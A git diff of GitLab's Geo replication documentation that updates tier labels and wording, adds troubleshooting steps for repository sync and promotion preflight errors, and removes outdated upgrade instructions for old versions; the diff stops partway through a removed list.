a/doc/administration/geo/replication/location_aware_git_url.md b/doc/administration/geo/replication/location_aware_git_url.md index f2cf8c9bda0..0eea792d374 100644 --- a/doc/administration/geo/replication/location_aware_git_url.md +++ b/doc/administration/geo/replication/location_aware_git_url.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Location-aware Git remote URL with AWS Route53 **(PREMIUM ONLY)** +# Location-aware Git remote URL with AWS Route53 **(PREMIUM SELF)** You can provide GitLab users with a single remote URL that automatically uses the Geo node closest to them. This means users don't need to update their Git diff --git a/doc/administration/geo/replication/multiple_servers.md b/doc/administration/geo/replication/multiple_servers.md index 0ab972c9077..f83e0e14e54 100644 --- a/doc/administration/geo/replication/multiple_servers.md +++ b/doc/administration/geo/replication/multiple_servers.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo for multiple nodes **(PREMIUM ONLY)** +# Geo for multiple nodes **(PREMIUM SELF)** This document describes a minimal reference architecture for running Geo in a multi-node configuration. If your multi-node setup differs from the one diff --git a/doc/administration/geo/replication/object_storage.md b/doc/administration/geo/replication/object_storage.md index ce791d66b34..ad419f999b3 100644 --- a/doc/administration/geo/replication/object_storage.md +++ b/doc/administration/geo/replication/object_storage.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo with Object storage **(PREMIUM ONLY)** +# Geo with Object storage **(PREMIUM SELF)** Geo can be used in combination with Object Storage (AWS S3, or other compatible object storage). @@ -29,7 +29,7 @@ WARNING: This is a [**beta** feature](https://about.gitlab.com/handbook/product/#beta) and is not ready yet for production use at any scale. The main limitations are a lack of testing at scale and no verification of any replicated data. **Secondary** nodes can replicate files stored on the **primary** node regardless of -whether they are stored on the local filesystem or in object storage. +whether they are stored on the local file system or in object storage. To enable GitLab replication, you must: diff --git a/doc/administration/geo/replication/remove_geo_node.md b/doc/administration/geo/replication/remove_geo_node.md index 519b93b447b..26150a6f536 100644 --- a/doc/administration/geo/replication/remove_geo_node.md +++ b/doc/administration/geo/replication/remove_geo_node.md @@ -5,15 +5,15 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Removing secondary Geo nodes **(PREMIUM ONLY)** +# Removing secondary Geo nodes **(PREMIUM SELF)** -**Secondary** nodes can be removed from the Geo cluster using the Geo admin page of the **primary** node. To remove a **secondary** node: +**Secondary** nodes can be removed from the Geo cluster using the Geo administration page of the **primary** node. To remove a **secondary** node: 1. Navigate to **Admin Area > Geo** (`/admin/geo/nodes`). 1. Click the **Remove** button for the **secondary** node you want to remove. 1. Confirm by clicking **Remove** when the prompt appears. -Once removed from the Geo admin page, you must stop and uninstall the **secondary** node: +Once removed from the Geo administration page, you must stop and uninstall the **secondary** node: 1. On the **secondary** node, stop GitLab: diff --git a/doc/administration/geo/replication/security_review.md b/doc/administration/geo/replication/security_review.md index 7c15662340c..c31881910bc 100644 --- a/doc/administration/geo/replication/security_review.md +++ b/doc/administration/geo/replication/security_review.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Geo security review (Q&A) **(PREMIUM ONLY)** +# Geo security review (Q&A) **(PREMIUM SELF)** The following security review of the Geo feature set focuses on security aspects of the feature as they apply to customers running their own GitLab instances. The review @@ -78,7 +78,7 @@ from [owasp.org](https://owasp.org/). ### Who has administrative capabilities in the application? - Nothing Geo-specific. Any user where `admin: true` is set in the database is - considered an admin with super-user privileges. + considered an administrator with super-user privileges. - See also: [more granular access control](https://gitlab.com/gitlab-org/gitlab/-/issues/18242) (not Geo-specific). - Much of Geo’s integration (database replication, for instance) must be @@ -194,7 +194,7 @@ from [owasp.org](https://owasp.org/). administrator via SSH, and then back out to the **secondary** node in the same manner. In particular, this includes the PostgreSQL replication credentials and a secret key (`db_key_base`) which is used to decrypt certain columns in the database. - The `db_key_base` secret is stored unencrypted on the filesystem, in + The `db_key_base` secret is stored unencrypted on the file system, in `/etc/gitlab/gitlab-secrets.json`, along with a number of other secrets. There is no at-rest protection for them. @@ -217,7 +217,7 @@ from [owasp.org](https://owasp.org/). - **Secondary** nodes and **primary** nodes interact via HTTP/HTTPS (secured with JSON web tokens) and via PostgreSQL streaming replication. -- Within a **primary** node or **secondary** node, the SSOT is the filesystem and the database +- Within a **primary** node or **secondary** node, the SSOT is the file system and the database (including Geo tracking database on **secondary** node). The various internal components are orchestrated to make alterations to these stores. @@ -231,7 +231,7 @@ from [owasp.org](https://owasp.org/). ### What data is or may need to be encrypted and what key management requirements have been defined? -- Neither **primary** nodes or **secondary** nodes encrypt Git repository or filesystem data at +- Neither **primary** nodes or **secondary** nodes encrypt Git repository or file system data at rest. A subset of database columns are encrypted at rest using the `db_otp_key`. - A static secret shared across all hosts in a GitLab deployment. - In transit, data should be encrypted, although the application does permit @@ -287,5 +287,5 @@ from [owasp.org](https://owasp.org/). ### What application auditing requirements have been defined? How are audit and debug logs accessed, stored, and secured? -- Structured JSON log is written to the filesystem, and can also be ingested +- Structured JSON log is written to the file system, and can also be ingested into a Kibana installation for further analysis. diff --git a/doc/administration/geo/replication/troubleshooting.md b/doc/administration/geo/replication/troubleshooting.md index 2c0160ed02a..3b1f60a0f3f 100644 --- a/doc/administration/geo/replication/troubleshooting.md +++ b/doc/administration/geo/replication/troubleshooting.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Troubleshooting Geo **(PREMIUM ONLY)** +# Troubleshooting Geo **(PREMIUM SELF)** Setting up Geo requires careful attention to details and sometimes it's easy to miss a step. @@ -219,7 +219,7 @@ sudo gitlab-rake gitlab:geo:check ``` - Ensure that you have added the secondary node in the Admin Area of the **primary** node. - - Ensure that you entered the `external_url` or `gitlab_rails['geo_node_name']` when adding the secondary node in the admin are of the **primary** node. + - Ensure that you entered the `external_url` or `gitlab_rails['geo_node_name']` when adding the secondary node in the Admin Area of the **primary** node. - Prior to GitLab 12.4, edit the secondary node in the Admin Area of the **primary** node and ensure that there is a trailing `/` in the `Name` field. 1. Check returns `Exception: PG::UndefinedTable: ERROR: relation "geo_nodes" does not exist` @@ -396,6 +396,69 @@ In GitLab 13.4, a seed project is added when GitLab is first installed. This mak on a new Geo secondary node. There is an [issue to account for seed projects](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5618) when checking the database. +### Message: `Synchronization failed - Error syncing repository` + +WARNING: +If large repositories are affected by this problem, +their resync may take a long time and cause significant load on your Geo nodes, +storage and network systems. + +If you get the error `Synchronization failed - Error syncing repository` along with the following log messages, this indicates that the expected `geo` remote is not present in the `.git/config` file +of a repository on the secondary Geo node's filesystem: + +```json +{ + "created": "@1603481145.084348757", + "description": "Error received from peer unix:/var/opt/gitlab/gitaly/gitaly.socket", + … + "grpc_message": "exit status 128", + "grpc_status": 13 +} +{ … + "grpc.request.fullMethod": "/gitaly.RemoteService/FindRemoteRootRef", + "grpc.request.glProjectPath": "<namespace>/<project>", + … + "level": "error", + "msg": "fatal: 'geo' does not appear to be a git repository + fatal: Could not read from remote repository. …", +} +``` + +To solve this: + +1. Log into the secondary Geo node. + +1. Back up [the `.git` folder](../../repository_storage_types.md#translating-hashed-storage-paths). + +1. Optional: [Spot-check](../../troubleshooting/log_parsing.md#find-all-projects-affected-by-a-fatal-git-problem)) + a few of those IDs whether they indeed correspond + to a project with known Geo replication failures. + Use `fatal: 'geo'` as the `grep` term and the following API call: + + ```shell + curl --request GET --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/<first_failed_geo_sync_ID>" + ``` + +1. Enter the [Rails console](../../troubleshooting/navigating_gitlab_via_rails_console.md) and run: + + ```ruby + failed_geo_syncs = Geo::ProjectRegistry.failed.pluck(:id) + failed_geo_syncs.each do |fgs| + puts Geo::ProjectRegistry.failed.find(fgs).project_id + end + ``` + +1. Run the following commands to reset each project's + Geo-related attributes and execute a new sync: + + ```ruby + failed_geo_syncs.each do |fgs| + registry = Geo::ProjectRegistry.failed.find(fgs) + registry.update(resync_repository: true, force_to_redownload_repository: false, repository_retry_count: 0) + Geo::RepositorySyncService.new(registry.project).execute + end + ``` + ### Very large repositories never successfully synchronize on the **secondary** node GitLab places a timeout on all repository clones, including project imports @@ -678,19 +741,19 @@ sudo /opt/gitlab/embedded/bin/gitlab-pg-ctl promote GitLab 12.9 and later are [unaffected by this error](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5147). -### Two-factor authentication is broken after a failover +### Message: `ERROR - Replication is not up-to-date` during `gitlab-ctl promotion-preflight-checks` + +In GitLab 13.7 and earlier, if you have a data type with zero items to sync, +this command reports `ERROR - Replication is not up-to-date` even if +replication is actually up-to-date. This bug was fixed in GitLab 13.8 and +later. -The setup instructions for Geo prior to 10.5 failed to replicate the -`otp_key_base` secret, which is used to encrypt the two-factor authentication -secrets stored in the database. If it differs between **primary** and **secondary** -nodes, users with two-factor authentication enabled won't be able to log in -after a failover. +### Message: `ERROR - Replication is not up-to-date` during `gitlab-ctl promote-to-primary-node` -If you still have access to the old **primary** node, you can follow the -instructions in the -[Upgrading to GitLab 10.5](../replication/version_specific_updates.md#updating-to-gitlab-105) -section to resolve the error. Otherwise, the secret is lost and you'll need to -[reset two-factor authentication for all users](../../../security/two_factor_authentication.md#disabling-2fa-for-everyone). +In GitLab 13.7 and earlier, if you have a data type with zero items to sync, +this command reports `ERROR - Replication is not up-to-date` even if +replication is actually up-to-date. If replication and verification output +shows that it is complete, you can add `--skip-preflight-checks` to make the command complete promotion. This bug was fixed in GitLab 13.8 and later. ## Expired artifacts @@ -717,7 +780,7 @@ node's URL matches its external URL. ## Fixing common errors -This section documents common errors reported in the Admin UI and how to fix them. +This section documents common errors reported in the Admin Area and how to fix them. ### Geo database configuration file is missing diff --git a/doc/administration/geo/replication/tuning.md b/doc/administration/geo/replication/tuning.md index 183180e5ade..a4aad3dec68 100644 --- a/doc/administration/geo/replication/tuning.md +++ b/doc/administration/geo/replication/tuning.md @@ -5,11 +5,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Tuning Geo **(PREMIUM ONLY)** +# Tuning Geo **(PREMIUM SELF)** ## Changing the sync/verification capacity values -In the Geo admin page at **Admin Area > Geo** (`/admin/geo/nodes`), +In **Admin Area > Geo** (`/admin/geo/nodes`), there are several variables that can be tuned to improve performance of Geo: - Repository sync capacity diff --git a/doc/administration/geo/replication/updating_the_geo_nodes.md b/doc/administration/geo/replication/updating_the_geo_nodes.md index ff3a1e8689b..0c68adf162d 100644 --- a/doc/administration/geo/replication/updating_the_geo_nodes.md +++ b/doc/administration/geo/replication/updating_the_geo_nodes.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Updating the Geo nodes **(PREMIUM ONLY)** +# Updating the Geo nodes **(PREMIUM SELF)** WARNING: Read these sections carefully before updating your Geo nodes. Not following diff --git a/doc/administration/geo/replication/using_a_geo_server.md b/doc/administration/geo/replication/using_a_geo_server.md index 743b1b384db..7578b6bf61a 100644 --- a/doc/administration/geo/replication/using_a_geo_server.md +++ b/doc/administration/geo/replication/using_a_geo_server.md @@ -7,7 +7,7 @@ type: howto <!-- Please update EE::GitLab::GeoGitAccess::GEO_SERVER_DOCS_URL if this file is moved) --> -# Using a Geo Server **(PREMIUM ONLY)** +# Using a Geo Server **(PREMIUM SELF)** After you set up the [database replication and configure the Geo nodes](../index.md#setup-instructions), use your closest GitLab node as you would a normal standalone GitLab instance. diff --git a/doc/administration/geo/replication/version_specific_updates.md b/doc/administration/geo/replication/version_specific_updates.md index 0d8eba555ab..be2ce0ac2c0 100644 --- a/doc/administration/geo/replication/version_specific_updates.md +++ b/doc/administration/geo/replication/version_specific_updates.md @@ -5,23 +5,37 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: howto --- -# Version specific update instructions +# Version-specific update instructions -Check this document if it includes instructions for the version you are updating. -These steps go together with the [general steps](updating_the_geo_nodes.md#general-update-steps) +Review this page for update instructions for your version. These steps +accompany the [general steps](updating_the_geo_nodes.md#general-update-steps) for updating Geo nodes. +## Updating to GitLab 13.7 + +We've detected an issue with the `FetchRemove` call used by Geo secondaries. +This causes performance issues as we execute reference transaction hooks for +each updated reference. Delay any upgrade attempts until this is in the +[13.7.5 patch release.](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/3002). +More details are available [in this issue](https://gitlab.com/gitlab-org/git/-/issues/79). + ## Updating to GitLab 13.5 -In GitLab 13.5, there is a [regression that prevents viewing a list of container repositories and registries](https://gitlab.com/gitlab-org/gitlab/-/issues/285475) on Geo secondaries. This issue is fixed in GitLab 13.6.1 and later. +GitLab 13.5 has a [regression that prevents viewing a list of container repositories and registries](https://gitlab.com/gitlab-org/gitlab/-/issues/285475) +on Geo secondaries. This issue is fixed in GitLab 13.6.1 and later. ## Updating to GitLab 13.3 -In GitLab 13.3, Geo removed the PostgreSQL [Foreign Data Wrapper](https://www.postgresql.org/docs/11/postgres-fdw.html) dependency for the tracking database. +In GitLab 13.3, Geo removed the PostgreSQL [Foreign Data Wrapper](https://www.postgresql.org/docs/11/postgres-fdw.html) +dependency for the tracking database. -The FDW server, user, and the extension will be removed during the upgrade process on each **secondary** node. The GitLab settings related to the FDW in the `/etc/gitlab/gitlab.rb` have been deprecated and can be safely removed. +The FDW server, user, and the extension will be removed during the upgrade +process on each secondary node. The GitLab settings related to the FDW in the +`/etc/gitlab/gitlab.rb` have been deprecated and can be safely removed. -There are some scenarios like using an external PostgreSQL instance for the tracking database where the FDW settings must be removed manually. Enter the PostgreSQL console of that instance and remove them: +There are some scenarios like using an external PostgreSQL instance for the +tracking database where the FDW settings must be removed manually. Enter the +PostgreSQL console of that instance and remove them: ```shell DROP SERVER gitlab_secondary CASCADE; @@ -36,7 +50,10 @@ upgrade to GitLab 13.4 or later. ## Updating to GitLab 13.2 -In GitLab 13.2, promoting a secondary node to a primary while the secondary is paused fails. **Do not pause replication before promoting a secondary.** If the node is paused, please resume before promoting. To avoid this issue, upgrade to GitLab 13.4 or later. +In GitLab 13.2, promoting a secondary node to a primary while the secondary is +paused fails. Do not pause replication before promoting a secondary. If the +node is paused, be sure to resume before promoting. To avoid this issue, +upgrade to GitLab 13.4 or later. ## Updating to GitLab 13.0 @@ -59,12 +76,13 @@ GitLab 12.9.0 through GitLab 12.9.3 are affected by [a bug that stops repository verification](https://gitlab.com/gitlab-org/gitlab/-/issues/213523). The issue is fixed in GitLab 12.9.4. Upgrade to GitLab 12.9.4 or later. -By default, GitLab 12.9 will attempt to automatically update the embedded -PostgreSQL server to 10.12 from 9.6, which requires downtime on secondaries -while reinitializing streaming replication. For the recommended procedure, see the +By default, GitLab 12.9 attempts to update the embedded PostgreSQL server +version from 9.6 to 10.12, which requires downtime on secondaries while +reinitializing streaming replication. For the recommended procedure, see the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -This can be temporarily disabled by running the following before updating: +You can temporarily disable this behavior by running the following before +updating: ```shell sudo touch /etc/gitlab/disable-postgresql-upgrade @@ -72,12 +90,13 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.8 -By default, GitLab 12.8 will attempt to automatically update the embedded -PostgreSQL server to 10.12 from 9.6, which requires downtime on secondaries -while reinitializing streaming replication. For the recommended procedure, see -the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). +By default, GitLab 12.8 attempts to update the embedded PostgreSQL server +version from 9.6 to 10.12, which requires downtime on secondaries while +reinitializing streaming replication. For the recommended procedure, see the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -This can be temporarily disabled by running the following before updating: +You can temporarily disable this behavior by running the following before +updating: ```shell sudo touch /etc/gitlab/disable-postgresql-upgrade @@ -87,18 +106,17 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade WARNING: Only upgrade to GitLab 12.7.5 or later. Do not upgrade to versions 12.7.0 -through 12.7.4 because there is [an initialization order -bug](https://gitlab.com/gitlab-org/gitlab/-/issues/199672) that causes Geo -**secondaries** to set the incorrect database connection pool size. [The -fix](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24021) was +through 12.7.4 because there is [an initialization order bug](https://gitlab.com/gitlab-org/gitlab/-/issues/199672) that causes Geo secondaries to set the incorrect database connection pool size. +[The fix](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/24021) was shipped in 12.7.5. -By default, GitLab 12.7 will attempt to automatically update the embedded -PostgreSQL server to 10.9 from 9.6, which requires downtime on secondaries -while reinitializing streaming replication. For the recommended procedure, see -the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). +By default, GitLab 12.7 attempts to update the embedded PostgreSQL server +version from 9.6 to 10.9, which requires downtime on secondaries while +reinitializing streaming replication. For the recommended procedure, see the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -This can be temporarily disabled by running the following before updating: +You can temporarily disable this behavior by running the following before +updating: ```shell sudo touch /etc/gitlab/disable-postgresql-upgrade @@ -106,12 +124,13 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.6 -By default, GitLab 12.6 will attempt to automatically update the embedded -PostgreSQL server to 10.9 from 9.6, which requires downtime on secondaries -while reinitializing streaming replication. For the recommended procedure, see -the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). +By default, GitLab 12.6 attempts to update the embedded PostgreSQL server +version from 9.6 to 10.9, which requires downtime on secondaries while +reinitializing streaming replication. For the recommended procedure, see the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -This can be temporarily disabled by running the following before updating: +You can temporarily disable this behavior by running the following before +updating: ```shell sudo touch /etc/gitlab/disable-postgresql-upgrade @@ -119,12 +138,13 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.5 -By default, GitLab 12.5 will attempt to automatically update the embedded -PostgreSQL server to 10.9 from 9.6, which requires downtime on secondaries -while reinitializing streaming replication. For the recommended procedure, see -the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). +By default, GitLab 12.5 attempts to update the embedded PostgreSQL server +version from 9.6 to 10.9, which requires downtime on secondaries while +reinitializing streaming replication. For the recommended procedure, see the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -This can be temporarily disabled by running the following before updating: +You can temporarily disable this behavior by running the following before +updating: ```shell sudo touch /etc/gitlab/disable-postgresql-upgrade @@ -132,12 +152,13 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.4 -By default, GitLab 12.4 will attempt to automatically update the embedded -PostgreSQL server to 10.9 from 9.6, which requires downtime on secondaries -while reinitializing streaming replication. For the recommended procedure, see -the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). +By default, GitLab 12.4 attempts to update the embedded PostgreSQL server +version from 9.6 to 10.9, which requires downtime on secondaries while +reinitializing streaming replication. For the recommended procedure, see the +[Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -This can be temporarily disabled by running the following before updating: +You can temporarily disable this behavior by running the following before +updating: ```shell sudo touch /etc/gitlab/disable-postgresql-upgrade @@ -146,9 +167,9 @@ sudo touch /etc/gitlab/disable-postgresql-upgrade ## Updating to GitLab 12.3 WARNING: -If the existing PostgreSQL server version is 9.6.x, it is recommended to -upgrade to GitLab 12.4 or later. By default, GitLab 12.3 attempts to update the -embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will +If the existing PostgreSQL server version is 9.6.x, we recommend upgrading to +GitLab 12.4 or later. By default, GitLab 12.3 attempts to update the embedded +PostgreSQL server version from 9.6 to 10.9. In certain circumstances, it can fail. For more information, see the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). @@ -160,23 +181,23 @@ For the recommended procedure, see the ## Updating to GitLab 12.2 WARNING: -If the existing PostgreSQL server version is 9.6.x, it is recommended to -upgrade to GitLab 12.4 or later. By default, GitLab 12.2 attempts to update the -embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will +If the existing PostgreSQL server version is 9.6.x, we recommend upgrading to +GitLab 12.4 or later. By default, GitLab 12.2 attempts to update the embedded +PostgreSQL server version from 9.6 to 10.9. In certain circumstances, it can fail. For more information, see the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). -Additionally, if the PostgreSQL upgrade does not fail, a successful upgrade +Additionally, if the PostgreSQL upgrade doesn't fail, a successful upgrade requires downtime for secondaries while reinitializing streaming replication. For the recommended procedure, see the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). GitLab 12.2 includes the following minor PostgreSQL updates: -- To version `9.6.14` if you run PostgreSQL 9.6. -- To version `10.9` if you run PostgreSQL 10. +- To version `9.6.14`, if you run PostgreSQL 9.6. +- To version `10.9`, if you run PostgreSQL 10. -This update will occur even if major PostgreSQL updates are disabled. +This update occurs even if major PostgreSQL updates are disabled. Before [refreshing Foreign Data Wrapper during a Geo upgrade](https://docs.gitlab.com/omnibus/update/README.html#run-post-deployment-migrations-and-checks), restart the Geo tracking database: @@ -185,14 +206,15 @@ restart the Geo tracking database: sudo gitlab-ctl restart geo-postgresql ``` -The restart avoids a version mismatch when PostgreSQL tries to load the FDW extension. +The restart avoids a version mismatch when PostgreSQL tries to load the FDW +extension. ## Updating to GitLab 12.1 WARNING: -If the existing PostgreSQL server version is 9.6.x, it is recommended to -upgrade to GitLab 12.4 or later. By default, GitLab 12.1 attempts to update the -embedded PostgreSQL server from 9.6 to 10.9. In certain circumstances, it will +If the existing PostgreSQL server version is 9.6.x, we recommend upgrading to +GitLab 12.4 or later. By default, GitLab 12.1 attempts to update the embedded +PostgreSQL server version from 9.6 to 10.9. In certain circumstances, it can fail. For more information, see the [Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-geo-instance). @@ -206,419 +228,11 @@ For the recommended procedure, see the WARNING: This version is affected by a [bug that results in new LFS objects not being replicated to Geo secondary nodes](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). -The issue is fixed in GitLab 12.1; be sure to upgrade to GitLab 12.1 or later. +The issue is fixed in GitLab 12.1. Be sure to upgrade to GitLab 12.1 or later. ## Updating to GitLab 11.11 WARNING: This version is affected by a [bug that results in new LFS objects not being replicated to Geo secondary nodes](https://gitlab.com/gitlab-org/gitlab/-/issues/32696). -The issue is fixed in GitLab 12.1; be sure to upgrade to GitLab 12.1 or later. - -## Updating to GitLab 10.8 - -Before 10.8, broadcast messages would not propagate without flushing -the cache on the **secondary** nodes. This has been fixed in 10.8, but -requires one last cache flush on each **secondary** node: - -```shell -sudo gitlab-rake cache:clear -``` - -## Updating to GitLab 10.6 - -In 10.4, we started to recommend that you define a password for database user (`gitlab`). - -We now require this change as we use this password to enable the Foreign Data Wrapper, as a way to optimize -the Geo Tracking Database. We are also improving security by disabling the use of **trust** -authentication method. - -1. **(primary)** Login to your **primary** node and run: - - ```shell - gitlab-ctl pg-password-md5 gitlab - # Enter password: <your_password_here> - # Confirm password: <your_password_here> - # fca0b89a972d69f00eb3ec98a5838484 - ``` - - Copy the generated hash and edit `/etc/gitlab/gitlab.rb`: - - ```ruby - # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab` - postgresql['sql_user_password'] = '<md5_hash_of_your_password>' - - # Every node that runs Unicorn or Sidekiq needs to have the database - # password specified as below. - # This must be present in all application nodes. - gitlab_rails['db_password'] = '<your_password_here>' - ``` - - Still in the configuration file, locate and remove the `trust_auth_cidr_address`: - - ```ruby - postgresql['trust_auth_cidr_addresses'] = ['127.0.0.1/32','1.2.3.4/32'] # <- Remove this - ``` - -1. **(primary)** Reconfigure and restart: - - ```shell - sudo gitlab-ctl reconfigure - sudo gitlab-ctl restart - ``` - -1. **(secondary)** Login to all **secondary** nodes and edit `/etc/gitlab/gitlab.rb`: - - ```ruby - # Fill with the hash generated by `gitlab-ctl pg-password-md5 gitlab` - postgresql['sql_user_password'] = '<md5_hash_of_your_password>' - - # Every node that runs Unicorn or Sidekiq needs to have the database - # password specified as below. - # This must be present in all application nodes. - gitlab_rails['db_password'] = '<your_password_here>' - - # Enable Foreign Data Wrapper - geo_secondary['db_fdw'] = true - - # Secondary address in CIDR format, for example '5.6.7.8/32' - postgresql['md5_auth_cidr_addresses'] = ['<secondary_node_ip>/32'] - ``` - - Still in the configuration file, locate and remove the `trust_auth_cidr_address`: - - ```ruby - postgresql['trust_auth_cidr_addresses'] = ['127.0.0.1/32','5.6.7.8/32'] # <- Remove this - ``` - -1. **(secondary)** Reconfigure and restart: - - ```shell - sudo gitlab-ctl reconfigure - sudo gitlab-ctl restart - ``` - -## Updating to GitLab 10.5 - -For Geo Disaster Recovery to work with minimum downtime, your **secondary** node -should use the same set of secrets as the **primary** node. However, setup instructions -prior to the 10.5 release only synchronized the `db_key_base` secret. - -To rectify this error on existing installations, you should **overwrite** the -contents of `/etc/gitlab/gitlab-secrets.json` on each **secondary** node with the -contents of `/etc/gitlab/gitlab-secrets.json` on the **primary** node, then run the -following command on each **secondary** node: - -```shell -sudo gitlab-ctl reconfigure -``` - -If you do not perform this step, you may find that two-factor authentication -[is broken following DR](troubleshooting.md#two-factor-authentication-is-broken-after-a-failover). - -To prevent SSH requests to the newly promoted **primary** node from failing -due to SSH host key mismatch when updating the **primary** node domain's DNS record -you should perform the step to [Manually replicate **primary** SSH host keys](configuration.md#step-2-manually-replicate-the-primary-nodes-ssh-host-keys) in each -**secondary** node. - -## Updating to GitLab 10.3 - -### Support for SSH repository synchronization removed - -In GitLab 10.2, synchronizing secondaries over SSH was deprecated. In 10.3, -support is removed entirely. All installations will switch to the HTTP/HTTPS -cloning method instead. Before updating, ensure that all your Geo nodes are -configured to use this method and that it works for your installation. In -particular, ensure that [Git access over HTTP/HTTPS is enabled](configuration.md#step-5-enable-git-access-over-httphttps). - -Synchronizing repositories over the public Internet using HTTP is insecure, so -you should ensure that you have HTTPS configured before updating. Note that -file synchronization is **also** insecure in these cases! - -## Updating to GitLab 10.2 - -### Secure PostgreSQL replication - -Support for TLS-secured PostgreSQL replication has been added. If you are -currently using PostgreSQL replication across the open internet without an -external means of securing the connection (e.g., a site-to-site VPN), then you -should immediately reconfigure your **primary** and **secondary** PostgreSQL instances -according to the [updated instructions](../setup/database.md). - -If you *are* securing the connections externally and wish to continue doing so, -ensure you include the new option `--sslmode=prefer` in future invocations of -`gitlab-ctl replicate-geo-database`. - -### HTTPS repository sync - -Support for replicating repositories and wikis over HTTP/HTTPS has been added. -Replicating over SSH has been deprecated, and support for this option will be -removed in a future release. - -To switch to HTTP/HTTPS replication, log into the **primary** node as an admin and visit -**Admin Area > Geo** (`/admin/geo/nodes`). For each **secondary** node listed, -press the "Edit" button, change the "Repository cloning" setting from -"SSH (deprecated)" to "HTTP/HTTPS", and press "Save changes". This should take -effect immediately. - -Any new secondaries should be created using HTTP/HTTPS replication - this is the -default setting. - -After you've verified that HTTP/HTTPS replication is working, you should remove -the now-unused SSH keys from your secondaries, as they may cause problems if the -**secondary** node if ever promoted to a **primary** node: - -1. **(secondary)** Login to **all** your **secondary** nodes and run: - - ```ruby - sudo -u git -H rm ~git/.ssh/id_rsa ~git/.ssh/id_rsa.pub - ``` - -### Hashed Storage - -WARNING: -Hashed storage is in **Alpha**. It is considered experimental and not -production-ready. See [Hashed Storage](../../repository_storage_types.md) for more detail. - -If you previously enabled Hashed Storage and migrated all your existing -projects to Hashed Storage, disabling hashed storage will not migrate projects -to their previous project based storage path. As such, once enabled and -migrated we recommend leaving Hashed Storage enabled. - -## Updating to GitLab 10.1 - -WARNING: -Hashed storage is in **Alpha**. It is considered experimental and not -production-ready. See [Hashed Storage](../../repository_storage_types.md) for more detail. - -[Hashed storage](../../repository_storage_types.md) was introduced in -GitLab 10.0, and a [migration path](../../raketasks/storage.md) for -existing repositories was added in GitLab 10.1. - -## Updating to GitLab 10.0 - -In GitLab 10.0 and later, we require all **Geo** systems to [use SSH key lookups via -the database](../../operations/fast_ssh_key_lookup.md) to avoid having to maintain consistency of the -`authorized_keys` file for SSH access. Failing to do this will prevent users -from being able to clone via SSH. - -Note that in older versions of Geo, attachments downloaded on the **secondary** -nodes would be saved to the wrong directory. We recommend that you do the -following to clean this up. - -On the **secondary** Geo nodes, run as root: - -```shell -mv /var/opt/gitlab/gitlab-rails/working /var/opt/gitlab/gitlab-rails/working.old -mkdir /var/opt/gitlab/gitlab-rails/working -chmod 700 /var/opt/gitlab/gitlab-rails/working -chown git:git /var/opt/gitlab/gitlab-rails/working -``` - -You may delete `/var/opt/gitlab/gitlab-rails/working.old` any time. - -Once this is done, we advise restarting GitLab on the **secondary** nodes for the -new working directory to be used: - -```shell -sudo gitlab-ctl restart -``` - -## Updating from GitLab 9.3 or older - -If you started running Geo on GitLab 9.3 or older, we recommend that you -resync your **secondary** PostgreSQL databases to use replication slots. If you -started using Geo with GitLab 9.4 or 10.x, no further action should be -required because replication slots are used by default. However, if you -started with GitLab 9.3 and updated later, you should still follow the -instructions below. - -When in doubt, it doesn't hurt to do a resync. The easiest way to do this in -Omnibus is the following: - -1. Make sure you have Omnibus GitLab on the **primary** server. -1. Run `gitlab-ctl reconfigure` and `gitlab-ctl restart postgresql`. This will enable replication slots on the **primary** database. -1. 